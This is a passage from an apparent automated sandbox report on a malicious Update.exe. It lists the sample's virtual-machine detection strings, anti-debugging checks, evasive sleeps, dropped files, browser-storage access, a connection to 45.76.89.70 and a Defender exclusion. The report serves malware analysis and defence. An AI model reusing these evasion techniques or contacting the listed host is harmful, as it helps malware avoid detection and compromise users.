Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Query firmware table information (likely to detect VMs)
Source: C:\Windows\explorer.exe System information queried: FirmwareTableInformation
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Memory allocated: E90000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Memory allocated: 2CD0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Memory allocated: 1210000 memory reserve | memory write watch
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5731 rdtsc 1_2_00007FFDFAFA5731
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1440 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2030 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1687
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1433
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1737
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3234
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 487
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2196
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 553
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5289
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 873
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_hashlib.pyd Jump to dropped file
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Dropped PE file which has not been started: C:\Windows\Temp\jxokwqntprmq.sys Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\python310.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.dll Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_ctypes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\rar.exe Jump to dropped file
Source: C:\Users\user\Desktop\Update.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68522\_ssl.pyd Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7312 Thread sleep count: 1440 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344 Thread sleep count: 2030 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912 Thread sleep time: -15679732462653109s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7348 Thread sleep count: 1687 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7352 Thread sleep count: 1433 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868 Thread sleep count: 1737 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884 Thread sleep count: 311 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8416 Thread sleep count: 3234 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8608 Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8536 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412 Thread sleep count: 3328 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704 Thread sleep count: 487 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984 Thread sleep count: 2196 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004 Thread sleep count: 553 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8464 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248 Thread sleep count: 5289 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8844 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248 Thread sleep count: 873 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8852 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 7488 Thread sleep count: 83 > 30
Source: C:\Windows\explorer.exe TID: 7488 Thread sleep count: 51 > 30
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F79280 FindFirstFileExW,FindClose, 0_2_00007FF623F79280
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F783C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF623F783C0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F91874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F79280 FindFirstFileExW,FindClose, 1_2_00007FF623F79280
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F91874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 1_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F783C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 1_2_00007FF623F783C0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA322E MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte, 1_2_00007FFDFAFA322E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE0130FEB0 GetSystemInfo, 1_2_00007FFE0130FEB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\ Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\ Jump to behavior
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vboxtrayZ
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareservicer6
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vboxtray
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vboxservice
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: qemu-ga
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmware
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwareuser
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmusrvc
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareuserZ
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: qemu-gaZ
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmsrvc
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmusrvcZ
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmtoolsd
Source: Update.exe, 00000001.00000003.1682000072.000002D8F6F6C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ^<+q@1hGfsD3h
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vboxserviceZ
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwarec
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwaretrayZ
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwaretray
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareservicer6Z
Source: Update.exe, 00000001.00000003.1918927890.000002D8F647D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwareservice
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmsrvcZ
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6080000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Potentially malicious time measurement code found
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5731 1_2_00007FFDFAFA5731
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4246 1_2_00007FFDFAFA4246
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5731 rdtsc 1_2_00007FFDFAFA5731
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F8A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF623F8A614
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF91AA0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect, 1_2_00007FFDFAF91AA0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F93480 GetProcessHeap, 0_2_00007FF623F93480
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F8A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF623F8A614
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF623F7C8A0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF623F7D12C
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7D30C SetUnhandledExceptionFilter, 0_2_00007FF623F7D30C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F8A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_00007FF623F8A614
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_00007FF623F7C8A0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_00007FF623F7D12C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7D30C SetUnhandledExceptionFilter, 1_2_00007FF623F7D30C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA113028 IsProcessorFeaturePresent,00007FFE133319A0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFE133319A0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_00007FFDFA113028
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE2009 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_00007FFDFAEE2009
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5A24 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_00007FFDFAFA5A24
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE1334004C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_00007FFE1334004C
Source: C:\Users\user\AppData\Local\Temp\bound.exe Code function: 15_2_00401475 EntryPoint,memset,SetUnhandledExceptionFilter,__set_app_type,_controlfp,__argc,__argv,_environ,_environ,__argv,__getmainargs,__argc,__argv,_environ,__argc,__argc,exit, 15_2_00401475
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,_c_exit, 17_2_00007FF633FE118B
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit, 17_2_00007FF633FE11D8
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit, 97_2_00007FF771DB118B
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit, 97_2_00007FF771DB11D8
Source: C:\Windows\System32\conhost.exe Code function: 113_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit, 113_2_0000000140001160
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 45.76.89.70 80
Adds a directory exclusion to Windows Defender
